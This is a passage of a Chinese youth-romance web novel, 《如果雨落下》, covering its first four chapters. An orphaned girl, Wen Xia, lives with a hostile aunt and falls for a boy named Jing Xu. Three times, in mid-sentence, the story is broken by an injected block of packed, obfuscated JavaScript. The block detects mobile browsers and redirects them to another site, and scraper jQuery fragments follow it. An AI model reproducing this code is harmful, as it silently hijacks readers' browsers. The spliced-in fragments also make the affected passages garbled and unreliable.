《如果雨落下》 1. 01 《如果雨落下》/泊绿 2024.7.18 晚上九点刚过,一声闷雷毫无预兆地降临,好似窗户都要震碎。 像一头来势汹汹的猛兽。 正值雨季,大雨说来就来。 客厅隐约传来的电视剧的声音戛然而止,卧室的灯也在这一瞬熄灭,像极了古早鬼片里意外发生的前兆。 今早物业通知过,因电路维护,整条街九点开始断电,来电时间暂定零点。 话是这么说,但哪次不是一停停一天? 又逢恶劣天气。 来电时间更不确定了。 大伯母赵雁蓉的声音从客厅传来,抱怨突如其来的鬼天气。 好几分钟过去,客厅里才安静下来。 坐在书桌前的温夏,摘下耳机后,几不可闻地叹了口气。 大雨砸在对面支起的几片玻璃钢瓦上,发出响亮的声音,像是直击面门,动静大得吓人。 书桌上,一阵微弱的“嗡嗡”声传来,温夏瞥了眼屏幕。 来电显示“程聿”。 程聿和温夏是楼上楼下的邻居。温夏被接到城里那天,正巧遇到程聿家搬到大伯家楼上,两人从那会儿就认识。 一晃眼,八年了。 她垂眼,按了接听键。 程聿的声音混杂着雨声:“夏,来巷口接一下我。” 他中考考得不错,父母答应暑假带他去三亚旅游。 本来打算去一周,但他觉得没意思,提前回来了。 挂断电话,温夏随手捡了件外套披在身上,走出卧室。 走到客厅,有极淡的蜡味飘进鼻息,烛火被灌进来的风吹得左摇右晃,影子也随之摆动。 赵雁蓉听到动静,随意瞥了眼:“要出去?” “嗯,去巷口接程聿。” “正好,顺道把门口的垃圾带下去。” 赵雁蓉边磕着瓜子,数落着坐在一旁的丈夫:“这个家大大小小的事儿都指着我,垃圾也不知道扔。你也是个憨的,替别人养女儿。再过几年年纪一到,嫁人了,你能捞着什么好处? “我凭什么小点儿声?我每天凌晨起夜,都看到她卧室亮着,她付过一分钱电费吗? “她父母都不要她了,你做这个好人,捞着半句好了吗?你就一破卖水果的,养活自己家都有问题,学人家当什么救世主?” 温夏出生那天,是夏至。 陈杏生她那年,才二十岁,是一个根本不会因为一个孩子就锁住自己一生的年纪。 温夏六岁那年,父母离婚,没多久就又各自成家,之后外出打工。爷爷奶奶不愿意养她,就把她丢给外婆带。 她从生下来就没见过外公,八岁那年外婆生病去世,葬礼时陈杏回来过,当天塞给她一张银行卡,之后就再也联系不上。 大家都说陈杏在外面傍了个有钱人。 不过她不知道。 她只知道,外婆走了,这个世界上唯一爱她的人不在了。 大伯温诚看她可怜,把她从镇上接到县城一起生活。 赵雁蓉是吃不得亏的性子,买根葱都要因为一毛钱跟摊主争论不休,自然不甘心白白替人养孩子。每天一睁眼就是这些牢骚和抱怨,直到睡去才消停。 这些话温夏听了八年,早就习以为常。她快速换完鞋,在玄关处的柜子里拿了两把伞,出了门。 南方气候潮湿,地面的石缝里长满青苔。水流顺着凹凸不平的地面毫无章法地流。 路面湿滑,温夏差点滑倒。 浓雾弥漫在巷子间,又恰逢断电,周围事物的能见度极低。温夏拿出手机,打开手电筒,握着伞柄的力度不自觉加大,小心地往前走。 小猫蜷缩在路边,听到动静,立刻惊恐地跳上了旁边半高的围墙,下一秒就彻底消失在雨幕。 刚走几步,温夏听见行李箱轮子和地面摩擦的声音,由远及近。没多久她看见一个身形立挺的少年,停在了不远处的玻璃钢瓦下。 他大概是没带伞,发和衣衫都湿了大半,白色的球鞋溅到了湿泥。 温夏走近。 他站的地方,身后是一户人家,照明灯的光微弱至极,却足够她看清一些东西。 隔着雨幕,他们的视线相交一瞬。 温夏想起之前的某个夏天,也是在这样的大雨里,在一瞬间与他视线相撞。 年少懵懂的她并不知道那一眼意味着什么。 多年后的温夏,读到一句话。 “我们无法判断一个瞬间的价值,直到它变成回忆。” 彼时的她才明白,目光短暂交接的那个瞬间,意味着她此后所有少女心事的开始。 大雨未停,雨声纷杂,“啪嗒啪嗒”地坠在伞面。 少女心神也乱,慌忙收回视线。 正要往前走,清冽的嗓音在右前方响起,在轰鸣的夜却显得格外清晰。 “你好。” 是礼貌得恰到好处的语气。 温夏心里泛起酸涩,捏紧伞柄,重新看向他。 他不记得她了。 温夏听见他问:“请问,这里是余庆巷吗?” “……嗯。” 温夏抬脚要走,又被叫住:“不好意思,215号怎么走?” 树阳县城并不大,道路却复杂。这一片又是老城区,去年政策倾斜,周边多了许多建筑,路也多了不少。好些路就算是本地人都不太清楚,更别说外来人。 雨越来越大。 温夏努力让自己的声音不被雨声淹没:“沿着这里一直走,第一个岔路口右转。” “谢谢。” 少年冲她笑了笑,拎起行李箱正要冲进大雨,温夏犹豫了一下走过去,把伞递给他。 他只愣了一瞬,便笑着接过伞,而后从袋子里拿了个橘子抛给她。 她下意识伸手去接,橘子稳当地落入手里,沾满雨水的青橘立刻打湿手心,有丝丝凉意渗进毛孔。 巷子里重新响起塑料轮子和地面摩擦的声音,温夏也抬脚往前走。 擦肩而过时,她闻到橡木苔的味道,很淡,淡得像下一瞬就要被雨水冲刷干净。 温夏走到巷口,看到百无聊赖蹲在百货超市门口的程聿。 超市早就关门,黑漆漆的一片。 一见到她,程聿立即起身,朝她走来。 走近,程聿发现她只拿了一把伞,眼神滞了一瞬,而后接过伞柄,做了撑伞的人。 伞面朝她倾斜了大半。 走了几步,程聿问:“复习得怎么样了?” 树阳一中是县内最好的高中,升本率高达百分之九十。但四线城市的县城中学,哪怕是实验班,也只有少数人有机会考上重本,普通班更不消说。 温夏中考总分593,按理说,这分数有很大几率能进实验班。但一中分班的依据不是中考成绩,而是开学第一天的分班考。 这也导致,从收到一中录取通知的那一刻,准新生们就开始了学习内卷。 温夏各科成绩都不错,除了数学。 程聿出去旅游前,给她选了几套试卷,让她空闲时练练手。 他留的那些题倒是都刷完了,但她对自己的水平没有十足的信心,只悠悠道了句:“尽人事听天命。” 程聿“嗯”了声:“明天去图书馆吗?” “去。” 刚走到单元楼门口,温夏听到住在隔壁楼的林婆婆的声音。嗔怪却又带着宠溺:“你这孩子,跑回来干什么?来回折腾。” 紧接着是带着浅淡笑意的一道男声:“外婆不去堰青,只好我回来陪陪您了。” 温夏循声看去,景栩搀扶着老人家,慢慢走进了隔壁单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986516|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元那扇生锈的大门。 回到家,温诚和赵雁蓉已经睡了,客厅一片漆黑。 温夏喊了声“我回来了”,知道他们就算听见了也不会回应,就径直回了卧室。 换好睡衣,温夏坐在书桌前,继续解数学题。只是写完选择和填空后,就再也进行不下去。 窗外的雨还在继续,敲击在石板上,她听得眼皮打架。 温夏视线瞥向书桌上的橘子。 想起刚才雨幕里那一瞬,心跳不自觉加快。 她拿起一个剥开,汁水喷溅在手掌,酸味立刻在空气中散开。她塞了一瓣在嘴里,清涩的酸直冲味蕾,酸得她脸部肌肉不受控制地抽搐。 被酸味刺激,温夏清醒了些,解题的思路也开始顺畅。 写完一套试卷,已经夜深人静。 次日,温夏在闹钟响之前睁眼。 她不习惯赖床,睁眼就起。 洗漱完,她往书包里装了两支笔和一个草稿本。 这个点温诚已经去了店里,家里就剩她和赵雁蓉。 她打了声招呼:“我先出门了。” 赵雁蓉斜她一眼,没有叫她一起吃早餐的打算:“中午记得去店里帮帮忙,哪有白吃白住的道理?” “好的,我知道了。” 程聿早就等在了楼下。 温夏下来的时候,正好看他打哈欠。 温夏:“你要是困,就在家休息。” 程聿揉揉眼:“不碍事。” 县里图书馆开门晚,他们到的时候,门卫大爷才慢悠悠地卸下那把U型锁。 两人随便找了位置坐下,程聿从书包里拿出一套试卷,递给温夏。 他通宵组了这套题,此时有些困,声音都带着倦意:“做完对答案,初中数学知识点无非就那些,这份试卷算是给你查缺补漏。我查了查一中往年的分班考试卷,考的基本都在这了。” “谢谢。” 听到这两个字,程聿挑眉:“得,你先写。昨晚通宵打游戏,困死了,我先眯会儿。” 这套题并不难,但温夏还是花了不少时间。 程聿醒来时,她正好写完最后一笔。 从图书馆出来,日头已经很毒。 两人随便找了处阴凉地,开始讲解错题。 最后一道大题讲完,温夏看了眼时间,胡乱将试卷塞进书包里。 定好去店里帮忙的时间快到了,怕去晚了赵雁蓉不高兴。她拒绝了程聿一起吃午饭的邀请,紧赶着往水果店去。 刚到店门口,她就听见大伯母赵雁蓉的声音,尖锐而刺耳:“你看看都几点了,说什么学习,我看就是以学习为幌子,跟程家那小子谈恋爱呢!不然早该来了。” “每天都出去,说是学习,谁知道干什么去了。家里不能学吗?依我看,就光想着谈恋爱了。” “这种话关起门来说说也就算了,别在外人面前说,夏夏还小,让别人听去,对小姑娘名声不好。” 温诚话不多,平日里赵雁蓉的话再尖酸刻薄,他忍一忍也就过去。大概是这些话实在过分,才少见地开了口。 “再说,来晚点就晚点了,忙得过来。” 赵雁蓉被呛,不乐意了:“你还跟我较上劲了!胡胖子家前天赊了五十六块的水果,你打算什么时候去要? “你说说我还能指望你什么?胡胖子是什么人?这钱你不去要,还指着他主动给你送过来吗?” “……” 温夏背靠着墙,想等里面完全消停再进去。她头垂下去,脚尖一下一下点着地,以此来消磨时间。 在脚尖触碰地面第12下、正好写完一个“景”字的时候,店里没声音了。 温夏直起身,正要往里走。 不经意扭头的瞬间,瞥见转角处冲出一道熟悉的身影,很快又消失在另一个转角。 2. 02 温夏刚走进店里,温诚就拿着货车钥匙出了门。 赵雁蓉停了手里的活儿,瞥了一眼温夏,指着地上堆放的纸箱开始吩咐:“你大伯要去送货。这些你搬几箱去门口,剩下的搬到储藏间。我有点事儿出去一趟,你好好看店,别想着偷懒。” 温夏知道“有点事”的意思是去后街的理发店打麻将。她什么都没说,放下书包,开始搬水果。 赵雁蓉一向看不惯她这个样子:“你这副死样跟你那个跑了的妈一模一样,多笑笑行不行?客人见你这样,谁还愿意来消费?我看,店里的生意就是这样被你给拖垮的。 “跟谁欠你似的,要不是你大伯傻,替人养孩子这种吃力不讨好的事儿我赵雁蓉能干? “你也别不爱听,要我说,这书也别念了,早点嫁人,大家都早点解脱。” 温夏低眉顺眼地听着,半句反驳没有。 赵雁蓉像一拳打在棉花上,满脸不爽地把手套和围裙脱下,随手一扔,边抱怨着“明明昨晚刚下过雨,今天怎么还这么热”,边往外走。 温夏才搬了一半,就已经累得完全没力气。从冰箱里拿了瓶冰水,一口气喝了大半。 她放下水,正打算继续搬,赵雁蓉回来了。骂骂咧咧的,大概是今天手气不好,输了不少钱。 “死丫头站着干什么呢?净想着偷懒了……”赵雁蓉随手指了个西瓜,“把这个给胡胖子家送去。对了,前几天他在这赊了帐,记得问他要。一共八十六,少一分都不行。” 温夏有点晕,却不敢说要休息,只是乖顺地应了声“知道了”。 之后抱起西瓜,往后街胡胖子家的方向去。 日光鼎盛,空气又闷又热,没几分钟,温夏的刘海已经被汗打湿,贴在脸颊和额头。 南方的天气就是这样,潮湿粘腻得惹人心烦。 她有点晕,浑身发软,整个人往下倒。怀里的西瓜在同一时刻掉在地上,砸出闷响。红色汁水飞溅在地面,很快被蒸发,变干。 迷糊间,有人过来扶她:“你没事儿吧?” 这声音听得温夏一怔。 她不傻,这种时候说没事,吃亏的是自己:“可能有点低血糖。” 话音刚落,眼前出现一只极为好看的手。小臂上的血管清晰可见,修长劲瘦的手指递过来一盒薄荷糖。 她没来得及说话,就听见站在面前的人,很轻的笑了声:“拿着吧,能缓解一下。” “……” 温夏脸上悄无声息地爬上一股热,捡起他手心的糖:“谢谢。” “对了,我叫景栩。春和景明的景,栩栩如生的栩。你呢?” “我知道。” 她声音小,景栩没听清:“什么?” “温夏。”说话时,温夏抬头看他,而后又迅速低了回去,“温暖的夏天。” 两人都不说话了。 景栩刚才看她晕倒,以为情况严重,随手把车扔了就去扶人。这会儿见人没事,他小跑着回去推自行车。 他跑远后,温夏偷偷抬头看他。 少年穿过光影,白T和飞扬的发丝像炎炎烈日下的清新剂。 环卫老爷爷拿着工具,正在打扫碎掉的西瓜,老爷爷身躯佝偻,一举一动都缓慢。 他弯腰帮忙把碎开的西瓜抱进了垃圾桶。 老爷爷走后,他把车推到旁边的香樟下,长腿一抬,将自行车的脚架蹬下来,又走了回来,在她身边坐下。 风吹过来,却没凉爽半分。 周围本就闷燥的空气被搅动,再度聚拢时温度更高,像是平添了把火。 景栩怕她又出事,问:“要不要帮你通知家里人?” “不用。我好多了……谢谢你。” 他没纠结,起身走到自行车旁:“那我先走了。” 温夏再次道谢,他笑了一下,骑着自行车飞似的离开了。 温夏不敢休息太久,感觉好点儿了,就立刻站起来。 西瓜碎了,但她不想听赵雁蓉的那些极尽尖酸刻薄的数落,也清楚西瓜碎掉的后果是一顿打。 想了想,她咬牙去另一家水果店用生活费买了一个。 胡胖子家在老居民楼的五楼,没电梯,西瓜又大又重,温夏费了些劲才上去。 正要敲门,门开了。 胡胖子手里拎着啤酒瓶,脸上肥肉横飞,左脸有道蜿蜒狰狞的疤。据说是年轻时见义勇为留下的,看着有些瘆人。 看温夏满头大汗,胡胖子笑着问她要不要进来吃根冰棍儿,和他的女儿一起玩。 温夏笑着婉拒,先报了西瓜的价格。 胡胖子从兜里摸了一沓现金,什么面值的都有:“对了,前几天在店里拿了点水果,加起来应该是八十六。你记得告诉你大伯和大伯母一声,让他们销账。” “好的胡叔叔,我先走了。” 走了几步,她听见胡胖子叹气:“多好的孩子,摊上这么个家庭,可惜了……” 刚从居民楼出来,赵雁蓉电话就打来,责问她送个西瓜为什么要这么久,是不是躲在哪偷懒。 温夏垂眸,平静地说:“这就回去了。” 回去后她把钱给了赵雁蓉。 地上仍乱糟糟的堆放着十几箱水果,大伯母关了头顶呼呼作响的风扇:“尽快把这些搬进去,放在这儿多不好看。” 说完从收银箱里抓了把钱,又出去了。 温夏抬手抹了把汗,程聿叼着冰袋进来,二话不说开始帮她搬:“她怎么又使唤你做这些,给你发工资吗?” “……” “下次再有这种事,”程聿边说边抬头看,风扇果然没开,“麻烦您屈尊给我打个电话。” 温夏没想麻烦他:“我能搬。” “哦,是我上赶着帮你。”程聿说话,一向懒洋洋的,“对了,快开学了,格格联系你了吗?” “你们没联系?” 程聿想到什么,气笑了:“她走那天我没来得及送她,把我拉黑了,到现在没给我放出来。” 格格姓刘,和程聿从小一起长大,和温夏关系也铁。半年前因父母工作调动,举家搬迁去了北方城市。 中考结束那天,格格就说要来找他们玩,一直也没找到合适的时间。 程聿要不提,温夏都差点忘了:“她今天到。” “嗯?” “傍晚一起去火车站接人。” - 格格这次来,带了个26寸的箱子,说要在这儿多住几天,反正父母都在医院忙,没时间管她。 傍晚夕阳晕染天空,褪去了白日里的热。 街道开始热闹起来,街边多的是小吃摊,炸串、炒饭和各种小吃的油烟往空气里窜,要是走近了,还能听见烤肉滋滋冒油的声音。 三个人慢悠悠地逛着,走到哪吃到哪。 格格吃得满足,拍拍肚子:“那边的东西我根本吃不惯,总觉得没老家的好吃。对了夏夏,跟我们出来,你大伯母那儿……没事吧?” “没事,她去打麻将了,今天估计很晚才回家。” “那就好。”格格停在烧烤摊前,随手抓了一把羊肉串,“老板,重辣。” 逛到十点,三个人又去吃了顿宵夜。 温夏不能回去太晚,从烤肉店出来三个人往余庆巷走。半路,格格又买了份大份的关东煮。 程聿看着她的吃相,怕她噎着:“吃慢点能死?” 格格回敬一个白眼:“你好好说话能死?” 过马路时,交通灯变红,还有四十多秒,格格用肩膀撞撞程聿:“去给我买瓶水。” “小卖部就在旁边,你走两步能死?” 嘴上不饶人,步子却已经走向了旁边的超市。 转绿灯的时候,格格催促着温夏:“快走,咱不等他。” 他俩从小就这么斗,温夏见怪不怪。 格格忙着和关东煮战斗,周围都是人,小城不遵守交通规则的也多。温夏怕出事儿,手往后伸拉住她,才继续往前走。 过完马路,温夏才发现她原本要牵的人,此刻正一脸坏笑地在马路对面看着她。 温夏转头,才发现自己牵的是景栩。 刚才还觉得触感冰凉,此刻掌心却像上了层星火,灼得人全身发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986517|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烫,耳尖尤其。 她心跳漏去半拍,惊慌地将手放开。 “不好意思,我以为是我朋友。” 景栩笑了声:“没关系。你好点了吗?” 他说话时似乎总带着明亮又坦荡的笑意。 温夏被感染到,嘴角也微微上扬:“好多了。” 程聿和格格过来,格格脸上的笑没散过,手里的关东煮递到景栩面前:“吃不吃?” 景栩并不扭捏,从杯子里抽了一串。 想起刚才两人好像聊起来了,格格贴着温夏:“你跟我家夏夏认识啊?” “嗯。” “新朋友,你叫什么?” “景栩。” “你叫我格格就好。他叫程聿,脸天生就臭,可能谁上辈子欠他钱没还,记到这辈子了。你别介意哈。” “不会。” “你现在要去哪?” “余庆巷。” “正好,我们也去那儿,一起。” 程聿把她从温夏身上拎起来:“少说点话,也不怕噎着。” 格格吱哇乱叫,口无遮拦:“家暴啊!你这是家暴!信不信我报警抓你!我回家就告诉叔叔阿姨!” 程聿莫名被扣了帽子,短促地笑了声:“你能讲点儿理?” 格格做了个鬼脸:“不能。” 程聿并没什么情绪,淡淡地威胁:“那我不收留你了,回家就把你行李扔出去。” 格格根本不怕:“我去跟夏夏睡。” 温夏性子安静,对于两人的打闹,只是微笑着当旁观者,没有加入战局。 后来格格拽着程聿去街边买这买那,温夏和景栩被落在后面。 周遭仍嘈杂,但温夏却觉得安静了下来。 安静得能听见自己的心跳声。 道路两旁立着绿化树,灯光将树的轮廓拓印在地面,晚风吹来,叶就簌簌响,连带把影子也吹乱。 温夏看着地面紧挨着的两道人影,觉得连呼吸都是乱的。 格格在树阳待了整整一周。 这一周,温夏也没什么时间陪她玩,每天都被抓去看店。她们能聚在一起的时间很少,所以每天吃完晚饭,都会约着去楼下散步。 有时候会遇见陪林婆婆散步的景栩,有时候遇不到。 遇到时互相点点头,就算是打过招呼。 夏季白昼很长,长到让人觉得没有尽头。 但一周过去,又好像只是眨眼间的事。 格格买的票是早上七点。 他们出门时,树叶还沾着露水。昨天夜里大概下过雨,地面湿漉漉的,白雾缭绕在街头巷尾,空气凉而潮。 到达火车站,他们遇到了景栩。 大清早的,有点凉。但他毫不在意,只穿了件宽松的短袖,头上戴了棒球帽,黑色的。坐在黑色行李箱上,漫不经心地划着手机屏幕。 火车站人已经很多,他在嘈杂纷乱的人群中,自成一体。 格格蹦蹦跳跳地跑到他身边:“听林婆婆说你从堰青来的,你也是今天走?” 景栩收了手机,点头。 格格问:“你几点的车?” “七点半。”景栩收起手机,“你也去堰青?” “不是,我去辽城。” 温夏一直没说话,她已经错失了跟他打招呼的最好时机,就干脆安安静静的站在格格身边。 排队过安检时,格格都快哭了,一直拉着温夏,直到最后一刻才放开。 温夏慢热,没什么亲近的人,格格于她而言是很珍贵的朋友。格格要走,她也舍不得。 他们不是来送景栩的,还没那么熟。彻底看不到格格的那秒,程聿就拍了拍温夏的肩:“回吧。” 经过景栩的时候,他抬了抬手:“下次见了。” 温夏唇微抿,鼓起勇气看向他的眼睛,轻声重复了他的话:“下次见。” 温夏却清楚。 有些人缘分浅薄到只够见一面。她有幸窥见过他身上的美好,已经超出这份浅薄太多,不该再奢求和他有更多羁绊。 很多事,是没有下一次的。 3. 03 格格和景栩走后的两天,程聿也走了。他考上市一中,除了长假和寒暑假,也没什么时间回来。 温夏去车站送他,他说“好好准备开学”。 其实也没什么可准备的,他给的那些数学题,她反反复复解了无数遍。而且两天时间,用来临时抱佛脚,根本抱不住。 但多刷刷题保持题感,总比什么都不做强。 开学考定在八月的最后一天。 时间上,秋天过完一半;体感上,夏日令人难耐的暑气绵延到了九月,太阳像是开关,一出来,热气就开始蒸腾,热得难以忍受。 分班考试九点开始,这会儿公告栏前人头攒动,都在看考场信息。 温夏被人群推着往前,正好停在公告栏前。面前是是大榜第一页,顺序应该是按照中考成绩排的 目光往下滑,温夏看到了自己的名字。 温夏去了明理楼五楼,径直走到最后一排坐下。 这位置靠窗,阳光照进来,在课桌上铺展开,明晃晃的有些刺眼。 楼下公告栏前还是挤满了人,穿校服的和没穿校服的混在一起。温夏起身去拉窗帘时,瞥见一个和景栩很像的人。 隔得远,看不清脸。 但气质很像。 温夏无意识在人群里找那道身影,却再也找不到。 教室外有人在玩镜子,光斑在她眼前的窗户上晃来晃去,她才回了神。 回到座位,温夏百无聊赖地转起笔,不知不觉又发起了呆。 脑海里不由自主地闪现和景栩为数不多相处的时刻。 雨天的酸橘,烈日下的薄荷糖,人潮中无意牵错的手……还有那句,“下次见”。 教室里有人在打闹,温夏的课桌被跑过来的人撞了一下,发出刺耳的声响。 那人笑着道歉,温夏摇头说没关系。 没多久窗边陆续走过监考老师,几分钟后,几分钟前出现在脑海里的人,此刻出现在她眼前。 她刚才没看错,那个人真的是景栩。 阳光洋洋洒洒地落在走廊,也落在他身上。 他一步一步,越走越近。 最后和监考老师一起,走进了第一考场。 温夏的心跳,后知后觉地加快了。 虽然知道无人在意,她还是做了心里建设,做了许多个一眼假的小动作,目光才敢落在他身上。 眼前的少年,眉目清朗,额前的发堪堪过眉,利落又干净。身着款式简单的白T,运动短裤穿得十分随意,往下是一双线条尤其漂亮的腿。脚上的白球鞋,好像是程聿一直想要的、杂志封面上的限量款。 他长得极为英隽,尤其那双眼,澄净而明亮,像藏在一片松林下的泉。 朝气蓬勃。 像是从太阳里生长起来的人。 很多年后的温夏,回忆起每次见他的画面,都会忍不住想—— 他的每次出现,都像她青春这首诗里,某个小节的开端——最漂亮也最吸引人。 此后的遣词造句,都以他为中心。 于是,在她仅有一次的青春里,他成为唯一的主角。 监考老师发完试卷,看向景栩,随后指了指讲桌:“没有多余的位置了,你就在这考吧。” 温夏捏着笔的指尖紧了紧,仔细想着这句话的意思。 “谢谢老师。” 景栩说着,弯腰在黑板左侧轻松拎起一张凳子,这个过程,温夏好像感觉他往自己的方向看了眼。 是始料未及又速度极快的一眼,快到她没来得及把偷看的目光收回。 他看到她了。 好不容易平稳的呼吸,在这一刻又毫无征兆地乱了起来。 上午考两科,语文和数学,中间有十分钟的休息时间。 考完语文,温夏抬头往讲台上看,景栩已经不见了。 温夏想了想,起身往外走。 走廊上全是人,她往左走了几步,看到了近在咫尺的景栩。 他应该是去厕所洗了把脸,脸上水珠未干,发尖也沾着水,将滴未滴。 这会儿离近了看,温夏发现他眼底一片乌青,眉眼间也尽是疲色。 景栩在同一时间也看到她了:“温夏?你也在一中啊,在哪个考场?” 听到这句话,温夏感觉到心脏往下沉了沉。 刚才令她雀跃的一眼,在他的世界里根本不存在。 那一瞥,他根本没看到自己。 对他来说,那只是很平常、无意的一瞥,那个方向坐了什么人,他根本没注意到。 就像雨幕里相遇那天。 对她来说是期盼已久的重逢,对他来说,只是向陌生人问了一次路。 温夏被人不小心撞了一下,回神,眼皮轻敛,声音极轻地回答了景栩:“第一考场。” 而她那些千回百转的情绪,眼前的人根本没察觉到,得到回答后,说了句“好巧”,便结束了这次再平常不过的寒暄:“那我先进教室了。” 温夏没跟着他回去,走到走廊尽头,在那儿晒了会儿太阳,直到考试铃响了才回去。 踏进教室那一刻,她才忽然想,其实是不是跟他一起回来,是不是跟他前后脚回来,有谁在乎? 她从来都不是主角,没人会关注。 - 下午五点考完试,温夏就出了教室。而她坐在最后一排,她起身时,景栩早就已经不在了。 这个点操场上满是人,看书的有,运动的有,聊天散步的也有。 更多的,是对一中满是向往和好奇的高一新生。 等到六点,有两个穿蓝白校服的学生,去公告栏上贴了分班表,那块儿立刻挤满人。 有的人相互认识,看到分在一个班,激动得原地跳起来;有的人发挥失常,说了句“题我明明都会做”就哭出声;有人知足常乐,边打响指边说“倒数第三,超常发挥,小爷我很满意”。 温夏好不容易挤到最前面,看到“0001”的后面变成了“景栩”,他英语和数学都是满分。 满分750,他考了708。 高出第二名整整90分。 温夏忐忑着往下看,在高一(1)班看到自己名字时,松了口气。 温夏,0026,589分。 一中的传统,两个实验班,每个班五十人。 她和景栩,在一个班。 除了考入实验班,这件事,也很令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986518|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她高兴。 欣喜没来得及蔓延,学校广播通知高一新生按照行政班在操场集合。 只通知了一件大事儿:今晚回去收拾行李,明天早上八点,按照今天的队形,在操场集合,然后出发去东平森林青少年活动基地,进行为期一周的军训。 解散的时候,温夏装作不经意,回头望了一眼。 她运气不错,没多久就在人潮里找到景栩。 少年低着头在讲电话,不知道说了什么,颊边的笑容越来越大。 - 回到家后,温夏嫌浑身都是汗,黏糊糊的,就先去洗了个澡。 洗完澡出来,大伯一家已经快吃完晚饭了。 温悦看到她,把刚拿起的鸡腿摔回盘子里,开始摆脸色:“倒胃口,不想吃了。” 听说赵雁蓉怀孕的时候,差点流产,温悦是好不容易才保住的。把温悦生下来后,她就毫无底线的溺爱。 所以温悦从小就嚣张跋扈,讨厌谁就欺负谁。 她讨厌温夏。 温悦比温夏早出生一年,两人同一年上学,从小学到初中都同校同班。从小到大,她带头孤立温夏;往温夏桌肚里放老鼠;把温夏的作业本撕了扔进池塘;装了臭水沟的水,泼在温夏的椅子上…… 温夏寄人篱下,无人可依,从来没反抗过。时间长了,温悦大概觉得没意思,就不再做那些无聊的事。 但嘴上依旧不饶人,什么难听的话都说。 温夏从来不跟她吵,把她当透明人。 见温夏没什么反应,温悦更生气,差点就摔了一个盘子。 赵雁蓉不满地瞪了温夏一眼,转头又笑眯眯地把鸡腿夹回了温悦碗里:“你跟她置什么气?快吃,吃完妈陪你去逛街,不是说怕晒黑吗,咱去买防晒霜。这鸡腿可不能便宜外人。” 听到最后一句,温夏擦头发的动作一顿,拿着毛巾的手无声捏紧,转身回了自己房间。 房间是储物间改的。 温夏想起刚被接来那天,大伯说以后她跟温悦一个房间,温悦听完就又哭又闹,死活不肯。 那天她在客厅的沙发上将就了一晚,第二天自己一个人,一点一点把这件小储物间收拾干净,求大伯给她买了张最便宜的小床。 温夏没有衣柜,衣服也少得可怜,没多大会儿就已经把行李收拾好了。 行李箱关上的那一刻,她听到了温悦和赵雁蓉出门的声音。 突然安静下来,温夏忽然想,如果外婆还在,今天是不是也会给她做好吃的,是不是也会叮嘱她在学校要和同学处好关系,是不是也会担心她军训被晒黑? 如果外婆还在,她是不是根本就不会被欺负…… 不过一切都快要结束了。 温悦成绩不好,中考落榜,花了好几万去了树阳唯一的私立学校成英中学。 成英中学强制要求学生住校,实行月假制,温悦再也不能像之前那样欺负她了。 还有三年,这三年,她一定会拼了命离开这个地方,离开这个从来没有接纳过她的家。 到时候,一切噩梦,都会随之结束。 温夏又想起景栩。 阳光美好,像极了她向往的新生活。 4. 04 第二天天还没亮,温夏就醒来了。 她一整晚都没怎么睡好,但依旧十分有精神。 出门的时候,温悦和赵雁蓉也拖着箱子往外走。 温诚看到温夏,想帮忙拿行李:“夏夏……” 话没说完,就听见赵雁蓉冷哼一声:“她自己会拿,用得着你吗?你照顾好自己女儿,外人的事儿少管。” 温诚尴尬地收回手,温夏乖巧道:“谢谢大伯,我自己拿就好。” 箱子不重,温夏没费什么劲儿。 到楼下时,大伯一家的车正好开出巷子,只留下一串车尾气。 她叹了口气,转头往旁边看了眼,故意等了几秒,才慢吞吞往前走。 拐出巷子的前一秒,她借着余光瞥了一眼三栋。 没人从里面出来。 去学校需要搭公交,从巷口右转,走过一段和缓的长坡,就到了公交站。 温夏上车,往里走了几步,瞥见长坡冲出一道飞扬的身影,她急忙喊了声:“师傅,请等一下。” 师傅瞥她一眼,见是个乖巧的小姑娘,脾气就忍着没发。 没几秒景栩上车,坐在最后一排的温夏把头低下,胡乱按着MP3的按键。 一辆车从后方开过来,鸣了一声笛,吓到了路沿上的麻雀。翅膀扑腾了几下飞去远处,温夏思绪也跟着乱飞。 他会看见我吗? 会过来坐在我旁边吗? 会和我说话吗? 要跟他打招呼吗? 要怎么开口才自然? …… 心跳随着按键的速度越来越快,直到车子缓缓起步,身边都没人过来,才恢复了正常频率。 车子开出去一段时间,温夏才敢抬头。 景栩坐在靠前一点的单人位置,穿了件白色的棉质短袖。他没什么行李,只背了个书包。此刻手肘搭在车厢内壁,右手半握成拳,抵在太阳穴的位置,像是睡着了。 早晨的阳光清透温和,从车窗照进来,一层轻纱似的落在他身上,衬得他像宫崎骏动漫电影里的角色。整个车厢里的人,和他一比,都黯然失色。 其实光落在了和他同侧的每一个人身上,只是好像格外偏爱他。 